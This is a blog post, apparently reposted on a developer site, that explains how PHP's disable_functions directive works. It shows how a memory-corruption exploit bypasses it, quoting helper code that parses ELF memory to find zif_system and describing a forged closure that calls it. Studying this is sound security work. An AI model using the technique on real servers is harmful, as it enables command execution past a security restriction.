From memory corruption to disable_functions bypass: understanding PHP exploits

栏目: IT技术 · 发布时间: 5年前

内容简介:In a tremendously generic and simplistic way, we can classify disable_functions exploits under two big “labels”: or they are related with a call to an external binary (for example the well-known mail() + putenv() exploited by the toolWe are going to dive o

In a tremendously generic and simplistic way, we can classify disable_functions exploits under two big “labels”: or they are related with a call to an external binary (for example the well-known mail() + putenv() exploited by the tool Chankro , command injections like shellshock / imap_open() , etc.) or they are based on memory corruptions. About the first kind of exploits we already talked before in this blog, and even explained a naive way to discover them automagically . So lets focus this time on the second one :D

We are going to dive on this topic with the help of this exploit from mm0r1. Instead on focus on the root casue or how the UAF works, our intention is to explain how the bypass is made. The same technique can be translated to similar vulnerabilities.

Our setup is based on a Debian and PHP compiled with debugging symbols:

  • PHP 7.2.11 (cli) (built: Oct 24 2018 01:39:46) ( NTS )
  • Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux

Let’s begin!

How disable_functions works

The first thing we have to clarify is how this directive works. In PHP the functions are classified in two types: “internals” functions (var_dump(), base64_decode(), etc.) and “user” functions (function blabla($a,$b){…}). Both of them are registered by the engine in a HashTable called function_table and this HashTable is the one used to look up functions when they are called from a PHP script.

The main code responsible for applying the directive is the following:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) 
{
	zend_internal_function *func;
	if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
		zend_free_internal_arg_info(func);
		func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
		func->num_args = 0;
		func->arg_info = NULL;
		func->handler = ZEND_FN(display_disabled_function);
		return SUCCESS;
	}
	return FAILURE;
}

The code looks up the function name inside the function_table and changes the original handler to a function called display_disabled_function. As you can imagine, it gives you the classic message:

/* Dummy function which displays an error when a disabled function is called. */
ZEND_API ZEND_COLD ZEND_FUNCTION(display_disabled_function)
{
	zend_error(E_WARNING, "%s() has been disabled for security reasons", get_active_function_name());
}

So everytime we try to call a function disabled by this directive we are going to call display_disabled_function instead of the desired one :( . We can corroborate this behavior using a debugger. To test this put a breakpoint on zend_disable_function and run the binary with -d 'disable_functions=system' exploit.php :

Breakpoint zend_disable_function
pwndbg> bt
#0  zend_disable_function (function_name=0x555556811aa0 "system", function_name_length=6) at /tmp/php-7.2.11/Zend/zend_API.c:2839
#1  0x0000555555ae6a0b in php_disable_functions () at /tmp/php-7.2.11/main/main.c:229
#2  0x0000555555aeb1d4 in php_module_startup (sf=0x5555566bd9e0 <cli_sapi_module>, additional_modules=0x0, num_additional_modules=0) at /tmp/php-7.2.11/main/main.c:2326
#3  0x0000555555d4e479 in php_cli_startup (sapi_module=0x5555566bd9e0 <cli_sapi_module>) at /tmp/php-7.2.11/sapi/cli/php_cli.c:431
#4  0x0000555555d509d1 in main (argc=4, argv=0x5555566f2890) at /tmp/php-7.2.11/sapi/cli/php_cli.c:1371
#5  0x00007ffff69282e1 in __libc_start_main (main=0x555555d503fb <main>, argc=4, argv=0x7fffffffe4b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:291
#6  0x0000555555684d3a in _start ()

We can see how the function name declared in the directive (system) is passed as argument to this function. At this point the handler from the function_table is untouched:

pwndbg> p *func
$7 = {
  type = 1 '\001',
  arg_flags = "\004\000",
  fn_flags = 256,
  function_name = 0x555556726a90,
  scope = 0x0,
  prototype = 0x0,
  num_args = 2,
  required_num_args = 1,
  arg_info = 0x5555565f80d8 <arginfo_system+24>,
  handler = 0x5555559fa20b <zif_system>,
  module = 0x555556721730,
  reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

Lets check the value again just before the return:

pwndbg> p *func 
$8 = {
  type = 1 '\001',
  arg_flags = "\004\000",
  fn_flags = 256,
  function_name = 0x555556726a90,
  scope = 0x0,
  prototype = 0x0,
  num_args = 0,
  required_num_args = 1,
  arg_info = 0x0,
  handler = 0x555555baa699 <zif_display_disabled_function>,
  module = 0x555556721730,
  reserved = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

Now the handler field is pointing to the display_disabled_function. If you are wondering why the functions have a “zif_” prefix it is because they are created using the PHP_FUNCTION macro and it expands to a C symbol with the acronym of “Zend Internal Function” .

This tactic prevents the calls to “dangerous” functions inside the script but… zif_system is not erased from the universe. It still existing in the process and we can reach it if we can play with the memory :) .

When the memory corruption comes handy

The first thing we need is to found the zif_system location at runtime. For that we need a primitive to leak arbitrary memory contents. The exploit solves this search finding the binary base and then parsing the ELF structures in order to find the target function:

function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

Once we have this information the next step is to think in a way to call zif_system. In this exploit an approach based on closures is used. In PHP anonymous functions are implemented using the Closure class . The main structue related to closures is zend_closure :

typedef struct _zend_closure {
	zend_object       std;
	zend_function     func;
	zval              this_ptr;
	zend_class_entry *called_scope;
	zif_handler       orig_internal_handler;
} zend_closure;

Getting deeper inside the func field we can find that exists a handler pointing to the function with the code that will be executed. Indeed, the closure object created by the exploit (the real one) is:

pwndbg> p (*(zend_closure *) 0x7ffff38652c0)->func->internal_function
$3 = {
  type = 2 '\002',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff3801d70,
  scope = 0x0,
  prototype = 0x7ffff38652c0,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff387c0f0,
  handler = 0x7ffff3879068,
  module = 0x2,
  reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}

The exploit creates a fake closure object copying the values and changing the type to the value “1” (internal function) and the handle to the zif_system location, so this function will be called instead:

pwndbg> p (*(zend_closure *) 0x7ffff38929a8)->func->internal_function
$4 = {
  type = 1 '\001',
  arg_flags = "\000\000",
  fn_flags = 135266304,
  function_name = 0x7ffff3801d70,
  scope = 0x0,
  prototype = 0x7ffff38652c0,
  num_args = 1,
  required_num_args = 1,
  arg_info = 0x7ffff387c0f0,
  handler = 0x5555559fa20b <zif_system>,
  module = 0x2,
  reserved = {0x7ffff3873280, 0x1, 0x7ffff3879070, 0x0, 0x0, 0x0}
}

Conclusions

I hope this brief post can be useful to understand how disable_functions works and how the memory corruptions are used in order to achieve a bypass. As long as you can run arbitrary code inside the process you are going to be able to call any function inside the binary. If you find any error or typo, feel free to ping me at twitter ( @TheXC3LL ) so I can fix it.


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript实战手册

JavaScript实战手册

David Sawyer McFarland / 李强 / 机械工业出版社 / 2009 / 89.00元

在《JavaScript实战手册》中,畅销书作者David McFarland教你如何以高级的方式使用JavaScript,即便你只有很少或者没有编程经验。一旦掌握了这种语言的结构和术语,你将学习如何使用高级的JavaScript工具来快速为站点添加有用的交互,而不是一切从头开始编写脚本。和其他的Missing Manuals图书不同,《JavaScript实战手册》清楚、精炼,手把手地讲解。 ......一起来看看 《JavaScript实战手册》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具